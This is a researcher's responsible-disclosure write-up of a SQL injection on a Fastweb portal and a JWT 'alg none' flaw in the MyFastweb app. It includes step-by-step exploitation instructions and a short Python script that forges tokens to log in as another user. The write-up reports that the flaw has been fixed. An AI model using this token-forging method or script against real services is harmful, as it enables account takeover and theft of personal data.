<-- go back

Fastweb: analysis of two critical vulnerabilities discovered in the MyFastweb android application and on the www.fastweb.it website


Index


Introduction

Fastweb S.p.A. is an Italian telecommunications company specialized in landline telephony and broadband connections. In 2018, it introduced a responsible disclosure program, inviting security researchers to report vulnerabilities in the company’s mobile, hardware, and web systems: https://www.fastweb.it/corporate/responsible-disclosure/?lng=EN

The security team of Fastweb was very friendly and prompt in responding to emails and addressing the reported vulnerabilities.

Below, two vulnerabilities considered “critical” are explained: a SQL Injection and a misimplementation of JWT access tokens that allows access to any account by knowing its username.

SQL Injection

SQL is a language that allows interacting with databases, which means creating, modifying, deleting, and extracting data stored within them. These operations are carried out through programming constructs called queries. The vulnerable page, found on the domain https://www.fastweb.it/, was written in PHP, a programming language designed for building dynamic websites and interacting with a database through SQL queries. For example, a query can extract information about a logged-in user from a portal or retrieve the addresses of all shops in a city, and so on.

During the research phase of the various pages belonging to the domain https://www.fastweb.it/ an internal portal was identified:

Usually, in these cases, an attacker could either use default credentials are inserted (such as admin:admin, test:test, administrator:administrator, etc.) to try to gain access to the portal or he could use escape characters (for simplicity, referred to as special characters) to test for the presence of a SQL injection. Trying the 100 most common combinations of default credentials yields no result; however, attempting to input special characters generates a database error:

In this case, we have a SQL injection since the data entered by the user (in the username field) is inserted “directly” into an SQL query and then executed. By “directly,” it means that certain special characters (which have specific meanings in the SQL language) are not filtered before being included in the query. To demonstrate the vulnerability, a character indicating the end of a query was inserted, resulting in an error related to the incorrect syntax of the construct.

To obtain further confirmation sqlmap was used, configured in a way to avoid extracting sensitive information from the server:

An attacker could exploit this vulnerability in various ways:

  • bypassing the login (which is relatively straightforward in the case of SQL injection) and accessing sensitive data that is only accessible to users with the necessary credentials for portal access
  • modify/create/delete/access tables and columns within the database, as well as any other connected databases;
  • executing remote code to move throughout Fastweb’s network or download configuration files or confidential documents by leveraging:
    • database-provided commands to write to files (if granted permissions): SELECT …. INTO OUTFILE;
    • login bypass to search for other vulnerabilities, such as file inclusion/download or searching for an upload point to upload a shell, see: https://en.wikipedia.org/wiki/Security_through_obscurity

Incorrect implementation of JWT access tokens allows access to any account by knowing its username

The JSON Web Token (JWT) is a standard defined in JSON format that allows exchanging information between different services or parties.

Traditionally, when a user logs in, a session is created between the server and the client, and the user identifier is stored within it. The primary purpose of this operation is to retrieve authentication information in subsequent calls.

In similar circumstances, what would happen if we used multiple servers to balance the load of the website in question? If we created the session on Server A and then the resource balancer redirected us to Server B, the session created on Server A would be lost (although other mechanisms could be implemented to share sessions).

Today, JWTs are primarily used to authenticate requests in web/mobile applications, especially when they connect to APIs. In this scenario, the client (the user) sends an authentication request to the server, which generates a signed token and returns it to the client. From that point forward, the client will use the token to authenticate subsequent requests.

This token consists of three main parts, each separated by a period ‘.’ and they are:

  • header, which contains two main pieces of information: the token type (e.g., JWT) and the encryption algorithm used (various options are available, such as HS256, RS256, ES512, and none/null, which means no encryption). The header is encoded in base64 before being sent to the server;
  • payload, which contains the information that will be processed by the server. This section explicitly declares who the logged-in user is and other user-related details. The payload is also encoded in base64 before being sent to the server;
  • signature, which is used by the server for each subsequent request to verify if the payload has been tampered with or not. The server creates the signature by encoding the header and payload in base64, separating them with a period, and encrypting them using the specified encryption algorithm from the header, along with a “secret password” known exclusively by the server. When the server receives a request, it extracts the payload to identify the user, but before doing so, it verifies that the payload matches the signature.

Since the token contains all the necessary information for authentication (such as the username or user identifier), the server can avoid querying the database every time to verify which user corresponds to that token (excellent for scalability).

Without load balancing

With load balancing

Analysis of the simplified version of the vulnerability

Let’s take, as an example, the login performed by two different users, User A and User B, and focus on the generated tokens:

  • the header, which is the same for all users; in this case an encryption algorithm is used (not configured to none/null);
  • the payload, which consists of the username and other information (where some of these are common among different users);
  • the signature, which varies from user to user.

Login performed by User A -> Used Token:
xxxxx.yyuserayy.zzzzz

Login performed by User B -> Used Token:
xxxxx.yyuserbyy.ppppp

User A wants to access User B’s account to steal their data, so User A decodes the payload of their token and tamper with the values by changing the logged-in user’s username from ‘yyuserayy’ to ‘yyuserbyy’. However, this will not lead to any result because User A does not know User B’s signature:

User A cannot access User B’s account by simply changing the username -> Used Token:
xxxxx.yyuserbyy.zzzzz

User A knows that the only obstacle is the signature check, so they could either attempt to perform a brute force attack on the signature, which would take a very long time (potentially even years), or they could find a vulnerability in the implementation of JWT access tokens so that the signature is not considered by the server.

User A hypothesizes that the server does not perform any check on the header, which means that the server accepts all tokens with an encryption algorithm configured as null/none in the header.

User A changes the header from “xxxxx” (where the encryption algorithm was set to HS256, RS256, or ES512) to “rrrrr” (where the encryption algorithm is set to null/none). By doing so, since the server won’t reject the new header, User A manipulates the server into not verifying the signature, making it accept all types of tokens, whether they have a valid signature or not:

Login performed with the encryption algorithm set to none -> Token:
rrrrr.yyuserayy.zzzzz

Login performed with the encryption algorithm set to none -> Token:
rrrrr.yyuserayy.

User A changes the payload from “yyuserayy” to “yyuserbyy” and sends the request to server A. By doing so, User A manages to access User B’s data:

Login performed with the encryption algorithm set to none -> Token:
rrrrr.yyuserayy.

Analysis of the vulnerability applied to Fastweb

You can access a MyFastweb account either by using email and password or through direct access. In the latter case, when a user connects to a Fastweb modem, it will be possible to access the MyFastweb account linked to the corresponding subscription without using email and password.

Direct access to the MyFastweb account can be achieved in two different ways: through the website (where JWT tokens are not used) or through the MyFastweb mobile application (Version 3.2.8 as of April 18, 2019) which uses JWT tokens.

By launching the application and starting to intercept the requests (i.e., the communication that occurs between the application and Fastweb’s servers), direct access is automatically performed through a series of operations:

  • the application sends information about the type and version of the operating system, and then it sends a request indicating to the server that it is attempting to access directly, without using a username and password;
  • the server sends the JWT token to the application;

In addition to the JWT token, the username associated with the subscription account is also sent

  • the JWT token is sent to the server, which authenticates us in the portal. Additionally, favBillingAccount is returned, a unique ID associated permanently with our account;

The server returns “OK” and the favBillingAccount parameter

  • now it is possible to retrieve information related to our account, such as name, surname, email, mobile numbers, home number, home address, invoices, and so on.

When an invalid token is sent to the server, indicating that the signature does not match the payload, an error message is generated:

I will be using my JWT token (for privacy reasons, my personal information has been replaced with random values) to demonstrate the vulnerability:

eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCIsImtpZCI6Im9yYWtleSJ9.eyJmdy5zc28uY2xhaW1zLmNsaWVudC5pcGFkZHJlc3MiOiIxMTEuMTExLjEuMTExIiwiZncuc3NvLmNsYWltcy5jbGllbnQubG9jYXRpb24iOiJob21lIiwiaXNzIjoibG9nb24uZmFzdHdlYi5pdCIsIm9yYWNsZS5vaWMudG9rZW4udHlwZSI6IlVTRVJUT0tFTiIsImZ3LnN zby5jbGFpbXMudXNlci5ndWlkIjoic3VhaWFkaWpzZGlqYXNpamFzZCIsImlhdCI6OTk5OTk5OTk5OTk5OTk5OSwib3JhY2xlLm9hdXRoLnBybi5pZF90eXBlIjoiTERBUF9VSUQiLCJvcmFjbGUub2F1dGgudGtfY29udGV4dCI6InVzZXJfYXNzZXJ0aW9uIiwiZXhwIjo5OTk5OTk5OTk5OTk5OTk5LCJhdWQiOiJsb2dvbi5mYXN0d2ViLml0IiwicHJ uIjoidXRlbnRlQSIsImp0aSI6Inh4eHh4LXl5eXl5eXl5LXp6enp6enp6enp6enotYWFhYWFhYWFhYWEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uYXV0aG5sZXZlbCI6IjEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uc2NvcGUiOiJmdWxsIiwib3JhY2xlLm9pYy50b2tlbi51c2VyX2RuIjoiY249MTExMTExMTExLG91PVJFUyxjbj1Vc2VycyxvdT1GV0NTVCxkYz1mYXN0d2ViLGRjPWxvY2FsIn0=.VQPVFiEACnVzZXJfimoH_EVFiBojDUJDQIPwa9XJfYXNc0pduaHSTRC-CdSh_dsypZXNza9oIPEVFig2h8dndnVzZXs0G_EypZa9oIcaW9uFiPEcANs0soa-ba9oICBFenLmF1dGhuNbY7YYfLUXN

As mentioned earlier, the header, payload, and signature are separated by a period, so by dividing the token into three parts, you get:

eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCIsImtpZCI6Im9yYWtleSJ9 -> Header

eyJmdy5zc28uY2xhaW1zLmNsaWVudC5pcGFkZHJlc3MiOiIxMTEuMTExLjEuMTExIiwiZncuc3NvLmNsYWltcy5jbGllbnQubG9jYXRpb24iOiJob21lIiwiaXNzIjoibG9nb24uZmFzdHdlYi5pdCIsIm9yYWNsZS5vaWMudG9rZW4udHlwZSI6IlVTRVJUT0tFTiIsImZ3LnNzby5jbGFpbXMudXNlci5ndWlkIjoic3VhaWFkaWpzZGlqYXNpamFzZCIsImlhdCI6OTk5OTk5OTk5OTk5OTk5OSwib3JhY2xlLm9hdXRoLnBybi5pZF90eXBlIjoiTERBUF9VSUQiLCJvcmFjbGUub2F1dGgudGtfY29udGV4dCI6InVzZXJfYXNzZXJ0aW9uIiwiZXhwIjo5OTk5OTk5OTk5OTk5OTk5LCJhdWQiOiJsb2dvbi5mYXN0d2ViLml0IiwicHJuIjoidXRlbnRlQSIsImp0aSI6Inh4eHh4LXl5eXl5eXl5LXp6enp6enp6enp6enotYWFhYWFhYWFhYWEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uYXV0aG5sZXZlbCI6IjEiLCJmdy5zc28uY2xhaW1zLnNlc3Npb24uc2NvcGUiOiJmdWxsIiwib3JhY2xlLm9pYy50b2tlbi51c2VyX2RuIjoiY249MTExMTExMTExLG91PVJFUyxjbj1Vc2VycyxvdT1GV0NTVCxkYz1mYXN0d2ViLGRjPWxvY2FsIn0= -> Payload

VQPVFiEACnVzZXJfimoH_EVFiBojDUJDQIPwa9XJfYXNc0pduaHSTRC-CdSh_dsypZXNza9oIPEVFig2h8dndnVzZXs0G_EypZa9oIcaW9uFiPEcANs0soa-ba9oICBFenLmF1dGhuNbY7YYfLUXN -> Signature

By decoding the base64-encoded header and payload (the signature cannot be decoded as we need the “secret password”), we obtain:

{"alg":"RS512″,"typ":"JWT","kid":"orakey"} -> Header (note that here the RS512 encryption algorithm is used, not null/none)

{"fw.sso.claims.client.ipaddress":"111.111.1.111″,"fw.sso.claims.client.location":"home" ,"iss":"logon.fastweb.it","oracle.oic.token.type":"USERTOKEN","fw.sso.claims.user.guid": "suaiadijsdijasijasd","iat":9999999999999999,"oracle.oauth.prn.id_type":"LDAP_UID","orac le.oauth.tk_context":"user_assertion","exp":9999999999999999,"aud":"logon.fastweb.it","p rn":"utenteA","jti":"xxxxx-yyyyyyyy-zzzzzzzzzzzzz- aaaaaaaaaaa","fw.sso.claims.session.authnlevel":"1″,"fw.sso.claims.session.scope":"full" ,"oracle.oic.token.user_dn":"cn=111111111,ou=RES,cn=Users,ou=FWCST,dc=fastweb,dc=local"} -> Payload, modified in a way that doesn’t expose my personal data. The parameter used to identify the user is prn.

To exploit this vulnerability, you need to

  • intercept the JWT token the first time it is sent to the server (step 4 in the list of operations during login);
  • decode the header and payload;
  • change the alg parameter in the header from RS512 to none;
  • change the prn parameter to the username of the account you want to authenticate with (User B’s account, as mentioned in the previous examples);
  • encode the header and payload again;
  • send the request to the server, and we will automatically login to the MyFastweb account specified in the prn parameter.

To perform the decoding, editing, and encoding operations automatically, I have created a Python script:

# Uso:
# python3 forge.py tokenbase64 attackerusername victimusername


# Import the needed modules
import base64
import sys

# Retrieve and save the header and body of the token in their respective variables, performing base64 decoding
header = str(base64.b64decode(sys.argv[1].split(".")[0]), 'utf-8')
body = str(base64.b64decode(sys.argv[1].split(".")[1] + "=="), 'utf-8')

# Change the encryption algorithm from RS512 to null
newheader = base64.b64encode(bytes(header.replace("RS512", "null"), 'utf-8'))
# Change the attacker's username to that of the victim
newbody = base64.b64encode(bytes(body.replace(sys.argv[2], sys.argv[3]), 'utf-8'))

# Print to console the new token
print(str(newheader, "utf-8") + "." + str(newbody, "utf-8") + "." "JUNK")

Script execution:

A new token has been generated with the username set to “admin” (which is non-existent, as Fastweb usernames follow a specific pattern: name.surname.xxxx, where xxxx ranges from 0000 to 9999, and the numerical part is used to differentiate individuals with the same name and surname). Here is the server’s response after sending the new token:

As we can see, the system is searching for our username in the database

A non-existent account was used, as accessing another user’s data is a violation of privacy.

Final considerations

The day after reporting the vulnerability details, I received a confirmation email.

Below is the communication from Fastweb notifying the closure of direct access (the URL of the page is https://fastweb.it/myfastweb/comunicazioni/chiusura-accesso-diretto/?from=sms):

This is the SMS that was sent in September 2019 to all mobile numbers associated with a Fastweb subscription:

Important, starting from 30/09, access to your MyFastweb will be possible only with username and password